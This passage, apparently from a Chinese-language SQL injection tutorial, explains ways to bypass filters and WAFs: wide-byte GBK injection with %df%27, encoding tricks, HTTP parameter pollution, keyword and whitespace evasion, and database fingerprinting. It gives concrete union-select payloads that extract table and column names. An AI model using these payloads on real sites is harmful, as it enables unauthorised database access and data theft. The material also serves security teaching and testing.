作用也不大,用到逗号的地方很多,如要查两个字段union select username,passwd这里的逗号就不能这样写,当然我们可以每次只查一个字段。
4.空字节绕过(也就是%00截断)
用于绕过一些入侵检测系统,如ids ips等,这些检测系统一般都是用原生语言编写的,而这些语言检验字符串的结尾是通过检测空字节,在被检测系统检测的字符前面加上一个空字节就可以欺骗检测系统忽略被检测字符。%00-空字节
5.编码绕过
我们可以通过编码的方式欺骗后端的过滤机制1. char select(char(67,58,45,56,67,45,35,44,3));
2. 16进制编码 0x234532e34f2a34b
3. hex
4. unhex select convert(unhex('e3f23a44b445')using utf8)
5. to_base64(),from_base64()
6.引号被转义
背景知识:
字符集
在了解宽字节注入之前,我们先来看一看字符集是什么。字符集也叫字符编码,是一种将符号转换为二进制数的映射关系。
几种常见的字符集:
ASCII编码:单字节编码
latin1编码:单字节编码
gbk编码:使用一字节和双字节编码,0x00-0x7F范围内是一位,和 ASCII 保持一致。双字节的第一字节范围是0x81-0xFE
UTF-8编码:使用一至四字节编码,0x00–0x7F范围内是一位,和 ASCII 保持一致。其它字符用二至四个字节变长表示。
宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,使得攻击者可以通过宽字节编码绕过SQL注入防御。 GBK编码,是在GB2312-80标准基础上的内码扩展规范,使用了双字节编码方案,其编码范围从8140至FEFE(剔除xx7F),共23940个码位,共收录了21003个汉字,完全兼容GB2312-80标准,支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字——(摘自百度百科)。
字符反斜线“\” 的ASCII码值是5C,占用一个字节,GBK编码方式可以将反斜线“\”转换为一个服务器数据库不识别的汉字,即在5C前面拼接组合一个字符0xdf,那么数据库就会将0xdf5c转换为一个不识别的汉字,这样数据库就会将其忽略掉。
宽字节注⼊源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从⽽导致的注⼊漏洞。
具体原理如下:1,正常情况下当GPC开启或使⽤addslashes函数过滤GET或POST提交的参数时,⿊客使⽤的单引号'就会被转义为: ';2,但如果存在宽字节注⼊,我们输⼊%df%27时⾸先经过上⾯提到的单引号转义变成了%df%5c%27(%5c是反斜杠),之后在数据库查询前由于使⽤了GBK多字节编码,即在汉字编码范围内两个字节会被编码为⼀个汉字。然后MySQL服务器会对查询语句进⾏GBK编码即%df%5c转换成了汉字“運”,⽽单引号逃逸了出来,从⽽造成了注⼊漏洞。
GBK编码导致宽字节注⼊
GBK编码是数据库编码,跟前台的编码⽆关GBK转UTF-8
原理其实跟前⾯⾥原理⾥说的第2条是⼀样的,我们输⼊%df%27时⾸先经过上⾯提到的单引号转义变成了%df%5c%27(%5c是反斜杠),然后%df%5c正好属于gbk的汉字编码范围,经过iconv转换到utf-8编码转换后变成了汉字“運”,从⽽吞掉了反斜杠使得单引号逃脱出来。UTF-8转GBK
这⾥我们思考下“錦”这个字,它的utf-8编码是e98ca6,它的gbk编码是%e5%5c,⽽上⾯提到过反斜杠\正好为%5c。所以如果我们将title设置为:錦’,⾸先经过addlashes函数或GPC对单引号转义变为:錦’,然后会经过icnov函数会对”錦”转化为gbk编码,最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从⽽单引号逃逸出来就会引发注⼊漏洞。
假设当前数据库使用GBK编码集,数据库会将输入的参数%df%5c解析为两个字节:

其中%df为高位字节,编码位是223;%5c为低位字节,编码位是92;%df%5c的GBK编码取值范围就是:第一个字节是129—254,第二个字节是64—254,数据库会按照GBK编码将%df%5c解析成一个汉字,这样“\”就会失去原来的作用。

在上图中,数据库将参数%df%5c按照GBK编码集解析成上图中的汉字:運,这种方式就是宽字节注入。
宽字节注入有前提:要求目标MYSQL数据库的编码方式是GBK编码,并且客户端必须和数据库的编码方式一致,这样才能使用宽字节注入方式,宽字节注入过程如下所示:
为了突破这个防护,我们可以使用宽字节注入的方式来进行突破,使用:%df ’
当我们在单引号之前加上%df的时候,也就是输入%df ’ 这样传入到数据库中就会变成:%df%5c ’
原理是在GBK编码中,%df与 \ 的转义符%5c结合会编码成一个汉字,这样就使得 ’ 逃逸了。此外 %DE%5C,%E0%5C也都是可以的。
eg:
传入1’时,返回结果出现1’ ',此处是不存在sql注入漏洞的,但是有一个特例,就是当数据库编码为GBK时可以使用宽字节注入,宽字节的格式是在地址后加一个%df,再加单引号,因为反斜杠的编码为%5c,而再GBK编码中%df%5c为一个繁体字,此时查询就会出错,一般结合Union注入使用。1%df' union select 1,2,3 %23查看输出位置
查询表名时,一般使用语句1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
查询列名的时候会有所不同,因为对单引号进行了过滤select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()) %23
还有一些例如cookie注入,base64注入,和XFF注入,类型相似,不一一讲解了and ⇒ &&
or => ||
< > = => between() ,like
limit 0,1 => limit 0 offset 1
substr => substring mid left right
sleep => benchmark
7.一个绕过waf的情况:(貌似算是个HTTP参数污染)

客户端在访问服务器端时,需要先经过一个tomcat服务器,这个tomcat服务器中部署的过滤代码充当了waf的功能。输入的参数经过tomcat服务器过滤后,再被传入到真正的服务端apache服务器上处理,然后逐层返回到客户端。 这里传入的参数只有一个,名为id,当我们强行传入两个名都为id的参数时,waf获取的是第一个参数,而忽略第二个参数,则对第二个参数的内容不做任何检查和过滤,这样第二个参数就可以传入到apache服务器端,进行解析。
我们在url后面输入login.php进入到受waf保护的界面?id=0&id=-1' union select 1,2,database() --+
8.预编译绕过
8.1简介
SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。
8.2模拟预编译
为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。
8.3绕过
8.3.1预编译使用错误
预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。
8.3.2部分参数不可预编译
在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。
8.3.3预编译实现错误
部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。
sql注入中绕过or和and的常用方法
1、大小写变形:将原本的 or 和 and 替换为:Or、oR、And、AND、aND、aNd等等。
2、转换编码输入:将 or 和 and 使用hex,urlencode等编码方式进行转换后在输入。
3、添加注释(内联注释):例如:/*or*/,中间的语句会被mysql中解析(一般其他数据库不会)
注释符如下:
#
--+
/*xxx*/
/*!xxx*/
/*!50000xxx*/
4、双写绕过:例如:oorr,aandnd 等。
5、可以使用%26%26代替and。%26 代表字符 '&' 。有时候&&不能用但是可以使用%26%26反正就这两个轮换着试验,哪个可行用哪个。
6、利用符号:and替换为&&、or替换为||
绕过空格和注释符的常用方法
绕过注释符方法:使用 or '1'='1 或者 and '1'='1 替换,这里理解一下注释符号的作用就可以,我们只要把后面的符号想办法闭合就可以,单引号可以随时替换,主要是根据sql语句的闭合方式决定使用什么符号闭合。
绕过空格方法:
1、/**/(注释绕过)
2、%09 Tab键(水平)
3、%0a 新建一行
4、%0c 新的一页
5、%0d return 键
6、%0b Tab键(垂直)
7、%a0 空格
8、() 绕过,主要通过括号去将某些语句独立起来,这样就不需要空格了。
以上都可以用来绕过。一般过滤了空格之后,联合注入以及双查询注入等就不推荐使用了(Windows系统的前提,如果是LINUX系统直接使用等价字符绕过空格就可以),最好使用报错注入中的 extractvalue()函数 以及 updatexml()函数 进行报错注入。
mysql常见函数
| =、>、>=、<= 、<> | 比较运算符 |
|---|---|
| and、or | 逻辑运算符 |
| version( ) | mysql数据库版本 |
| database( ) | 当前数据库名 |
| sleep( ) | 睡眠时间为指定的秒数 |
| if(true,t,f) | if判断 |
| length( ) | 返回字符串的长度 |
| substring( ) | 截取字符串三个函数作用相同有三个参数 mid(“1”,2,3)1.截取的字符串2.截取起始位置,从1开始计数3.截取长度 |
| substr( ) | 截取字符串三个函数作用相同有三个参数 mid(“1”,2,3)1.截取的字符串2.截取起始位置,从1开始计数3.截取长度 |
| mid( ) | 截取字符串三个函数作用相同有三个参数 mid(“1”,2,3)1.截取的字符串2.截取起始位置,从1开始计数3.截取长度 |
| left( ) | 从左侧开始取指定字符个数的字符串 |
| concat( ) | 没有分隔符的连接字符串 |
| concat_ws ( ) | 含有分割符的连接字符串 |
| group_conat( ) | 连接一个组的字符串 |
| ord( ) | 返回ASCII码 |
| ascii( ) | 返回ASCII码 |
| hex( ) | 将字符串转换为十六进制 |
| unhex( ) | hex的反向操作 |
| md5( ) | 返回MD5值 |
| floor(x) | 返回不大于x的最大整数 |
| round ( ) | 返回参数x接近的整数 |
| rand( ) | 返回0-1之间的随机浮点数 |
| load_file( ) | 读取文件,并返回文件内容作为一个字符串 |
| find_in_set( ) | 返回字符串在字符串列表中的位置 |
| benchmark( ) | 指定语句执行的次数 |
| name_const ( ) | 返回表作为结果 |
| user( ) | 用户名 |
| current_user( ) | 当前用户名 |
| system_ user( ) | 系统用户名 |
| @@datadir | 数据库路径 |
| @@versoin_compile_os | 操作系统版本 |
user() //返回当前使用数据库的用户
version() //返回当前数据库的版本
database() //返回当前使用的数据库
group_concat() //多行数据拼接至一行显示+group_by根据分组排序
concat_ws() //把不同列的数据以特定字符隔开
# -- --+ //在MYSQL中的注释符 (注意:有时候注释符需要多试几种,有的时候--+不行,但是#可以)
order by //排序函数 判断列 原理:order by 后面跟哪个列名就是通过跟哪个列进行排序,如果后面跟的是数字,那么1就代表根据第一列排序,2代表第二列,3代表第三列,那么一直输入数字的大小就可以判断数据表有多少列了
count() //计数函数 报错时候可以用到,或者布尔注入和延时注入时查询有多少个表,多少个列的时候可以用到
rand() //产生一个随机数返回的随机数是大于等于 0 及小于 1 的均匀分布随机实数 报错注入时候有用
updatexml(XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
extractvalue() :对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
INFORMATION_SCHEMA数据库
mysql5.0以下没有该表

数据库检测
1. MySQL
- sleep
sleep(1) - benchmark
BENCHMARK(5000000, MD5('test'))- 字符串连接
SELECT 'a' 'b'``SELECT CONCAT('some','string')
- version
SELECT @@version``SELECT version()
- 识别用函数
connection_id()``last_insert_id()``row_count()
- 字符串连接
2. Oracle
- 字符串连接
'a'||'oracle' --``SELECT CONCAT('some','string')
3. SQLServer
- WAITFOR
WAITFOR DELAY '00:00:10'; - SERVERNAME
SELECT @@SERVERNAME - version
SELECT @@version- 字符串连接
SELECT 'some'+'string'
- 常量
@@pack_received``@@rowcount
- 字符串连接
4. PostgreSQL
- sleep
pg_sleep(1)
